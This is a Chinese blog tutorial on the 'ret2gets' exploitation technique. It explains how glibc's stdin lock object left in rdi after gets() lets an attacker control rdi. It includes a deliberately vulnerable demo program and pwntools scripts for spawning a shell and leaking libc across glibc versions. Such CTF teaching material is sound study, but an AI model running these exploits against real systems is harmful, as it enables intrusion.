ret2gets 一种控制rdi的攻击方法

前言

ret2gets常用于没有pop rdi;ret这类控制rdi的gadget时泄露libc
适用范围,libc2.30版本及以上
这是一位国外师傅写的有关ret2gets利用的文章,我也是看这篇文章配合调试学习的,讲的很详细,更全面。
ret2gets
我这篇文章更偏向分析如何去攻击,打ret2system和ret2libc。

基础原理

直接开始介绍
在这里插入图片描述
在这里插入图片描述
第一张图是刚执行完gets函数的寄存器情况,可以看到rdi的值是0x7ffff7e1ca80 (_IO_stdfile_0_lock)
vmmap查看,他是在红线标注出的部分,这一个段是可写的,这对我们后续的攻击很有帮助

简单介绍一下0x7ffff7e1ca80 (_IO_stdfile_0_lock)
他是一个锁对象,通过控制他的值来应对条件竞争漏洞
结合gets函数的源码:

char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);         //获取锁
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == '\n')
    count = 0;
  else
    {
      int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
      if (stdin->_flags & _IO_ERR_SEEN)
	{
	  retval = NULL;
	  goto unlock_return;
	}
      else
	stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);         //释放锁
  return retval;
}

可以看到
gets函数的开头,获取了锁,告知其他线程stdin正在使用
gets函数的结尾,释放了锁,告知其他线程stdin已可用

为此,FILE结构体有一个_lock字段,它是指向_IO_lock_t的指针

typedef struct {
    int lock;
    int cnt;
    void *owner;
} _IO_lock_t;

那么我们可以将_IO_stdfile_0_lock开头的0x10字节分成三个部分
前四个字节:lock
再往后四个字节:cnt
最后八个字节:owner

有关获取锁和释放锁的宏有很多,但是我们利用这个攻击方法所需要看的就只有两个宏:
_IO_lock_lock_IO_lock_unlock

#define _IO_lock_lock(_name) \
  do {									      
    void *__self = THREAD_SELF
    if ((_name).owner != __self)		   //如果持有者不是当前线程
      {									   //那么就需要获取锁
	lll_lock ((_name).lock, LLL_PRIVATE);  //调用底层锁函数 lll_lock(Low-Level Lock)获取锁
        (_name).owner = __self;		       //将owner设为当前线程
      }									      
    ++(_name).cnt;						   //cnt++,表示获取锁的次数
  } while (0)

#define _IO_lock_unlock(_name) 
  do {									   //cnt--,表示释放一次  
    if (--(_name).cnt == 0)				   //如果释放一次后cnt==0,说明这是最后一次释放锁需要执行解锁操作,即让owner=null			      
      {									   
        (_name).owner = NULL;			
	lll_unlock ((_name).lock, LLL_PRIVATE);				      
      }									 //如果释放一次后cnt!=0,意味着后续还需要释放锁,比如当成线程处于递归操作中,就不用解锁     
  } while (0)

那么在这两个宏里,_name就是锁本身,在gets调用的过程中,那就是_IO_stdfile_0_lock

我们来分析一下其中的重点:

  1. owner很多时候会储存着TSL结构体地址,这个地址与libc偏移是固定的,但是当当前线程完全解锁时会被清空
  2. cnt在释放时会减一,此处存在整数溢出的漏洞

利用1 ret2system

至此,相信各位对_IO_stdfile_0_lock有了初步的了解,那么我们开始ret2gets的第一个利用,如何打ret2system

源码

#include <stdio.h>
#include <stdlib.h>
int main() {
    puts("ret2gets&ret2system");
    char buffer[0x20];  
    gets(buffer);      
    return 0;
}
void backdoor() {
    system("echo hi"); 
}

system,也有gets,但是没有/bin/sh\x00字段,同时也没有有关rdigadget可用
当然可以考虑直接打ret2libc,不过我们是为了演示ret2system的应用

ret2gets的攻击中,/bin/sh\x00我们是可以直接注入,并控制rdi指向的
利用方式也非常简单,gets执行后,不去动rdi的情况下,再次call gets,此时就会向_IO_stdfile_0_lock中读入内容,那么如果我们读入的是/bin/sh呢?
在这里插入图片描述
在这里插入图片描述
可以看到,我们成功向_IO_stdfile_0_lock中注入了/bin/sh,此时直接system就可以get shell
唯一需要注意的:
之前我们讲过,gets开始时,cnt会+1,gets结束后由于释放锁,cnt会-1,因此cnt的最低一字节,也就是/bin/sh\x00的第五个字节的内容,应该改成ascii码+1的内容
我们的payload就是

b'/bin'+p8(u8(b"/")+1)+b'sh'

payload

from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
system=0x401040
gets=0x401050      
pause()
io.recvuntil(b'ret2gets&ret2system\n')

payload1=b'a'*(0x28)+p64(gets)+p64(system)
io.sendline(payload1)

payload2=b'/bin'+p8(u8(b"/")+1)+b'sh'
io.sendline(payload2)
io.interactive()

这种攻击方法意义没有那么大,或许在静态文件里可能才有用武之地

利用2 ret2libc

ret2libc只需要利用ret2gets泄露libc就够了

printf

如果有printf函数,只需要在_IO_stdfile_0_lock中注入格式化字符串就行了,跟ret2system一样,注意第五个字节即可

b"%69$" + p8(u8(b"p")+1)

puts

真正的重头戏来了,有关puts泄露libc的利用还有版本区别,分为:

  • 2.30-2.36
  • 2.37+

2.30-2.36

我们先分析是如何获取libc
之前提到,owner部分会变成TLS的值,那么我们就很希望能够通过puts函数输出这一部分的值对吧。
但是,gets函数的特性是,读入遇到\n才停止,然后把\n变成\0,而\0刚好会截断puts的输出,那么我们岂不是泄露不了TLS了?
回到之前讲过的,cnt在锁释放后会减一,存在负数溢出,如果我们把cnt的值在gets过程中覆盖为0,那么cnt减一后,不就变成了0xffffffff。这就成功绕过了

from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
puts=0x401030
gets=0x401050
pause()
io.recvuntil(b'ret2gets&ret2system\n')

payload1=b'a'*(0x28)+p64(gets)+p64(puts)+p64(0x0401060)
io.sendline(payload1)

payload2=b'AAAA'+b'\x00'*3
io.sendline(payload2)
io.recvuntil(b'\xff\xff\xff\xff')
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3a4740
info('libc_base:'+hex(libc_base))
io.interactive()

代码基本原理跟之前的差不多,接下来gdb查看一下具体情况
在这里插入图片描述
可以看到,lock部分是我们填充的垃圾数据,cnt部分是-1,owner部分是TLS地址,与libc有固定偏移

在这里插入图片描述
最后结果也是,我们的libc是正确的

2.37+

先看源码_IO_lock_lock_IO_lock_unlock的改变

#define _IO_lock_lock(_name) 
  do {									      
    void *__self = THREAD_SELF;						      
    if (SINGLE_THREAD_P && (_name).owner == NULL)	//SINGLE_THREAD_P判断是否是单线程
      {									            //但是重点是owner是不是null
	(_name).lock = LLL_LOCK_INITIALIZER_LOCKED;			      
	(_name).owner = __self;						      
      }									      
    else if ((_name).owner != __self)				//我们的攻击执行的是这个if为真的内容
      {									      
	lll_lock ((_name).lock, LLL_PRIVATE);			
	(_name).owner = __self;						    //让owner拥有TLS地址
      }									      
    else								      
      ++(_name).cnt;							      
  } while (0)

#define _IO_lock_unlock(_name) 
  do {									      
    if (SINGLE_THREAD_P && (_name).cnt == 0)		//最特殊的点,当cnt==0时,不会再-1负数溢出了		      
      {									            //其他的都无所谓
	(_name).owner = NULL;						      
	(_name).lock = 0;						      
      }									      
    else if ((_name).cnt == 0)						      
      {									      
	(_name).owner = NULL;						      
	lll_unlock ((_name).lock, LLL_PRIVATE);				      
      }									      
    else								      
      --(_name).cnt;							   //我们会让cnt!=0,所以会走这里
  } while (0)

总结一下:

  • 新增了SINGLE_THREAD_P这个宏,但是没关系,我们直接用(_name).owner == NULL这个判断去绕过这个情况
  • cnt在等于0时不再减一,就不会负数溢出了
    解决方法就是gets两次
from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
puts=0x401030
gets=0x401050
pause()
io.recvuntil(b'ret2gets&ret2system\n')

payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060)
io.sendline(payload1)

payload2=p32(0)+b'A'*4+b'B'*8
io.sendline(payload2)

payload3=b'BBBB'
io.sendline(payload3)

io.recv(8)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3ba740
info('libc_base:'+hex(libc_base))
io.interactive()

第一次gets
lock宏不用管
输入

p32(0)+b'A'*4+b'B'*8
  • 设置lock=0:将锁标记为未锁定状态(LLL_LOCK_INITIALIZER的值为 0)。
  • 填充cnt为垃圾值:后续操作中会处理这个垃圾值。
  • 覆盖owner为非 NULL 值:使owner != THREAD_SELF,触发后续锁获取逻辑。
    结束后,在unlock宏里,cnt-1,此时lock=0cnt=0x41414140ownerb'BBBBBBBB'
    在这里插入图片描述

第二次gets
由于owner!=null,且owner!=self,因此会执行这两句

lll_lock ((_name).lock, LLL_PRIVATE);			
(_name).owner = __self;	

由于我们之前设置了lock=0(未锁定状态),这里会将其锁定(设置为 1)
并且让owner拥有TLS地址

然后输入

b'BBBB'

因为之前把lock变成了1,高位的\x00会截断,这次读入是为了覆盖lock,然后换行符会出现在cnt字段,将cnt的最低一字节变成\x00

结束后的unlock宏又会让cnt减一,最低一字节就变成了\xff,绕过了puts的截断
在这里插入图片描述
最后也是成功泄露libc
在这里插入图片描述

结尾

虽然gets函数已经逐渐退出时代舞台了,不过这个利用方法确实很帅啊
如果想要例题的话可以看litctf2025master_of_rop
不过跟我的源码长得差不多
自己patch libc就可以打两种版本的泄露了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值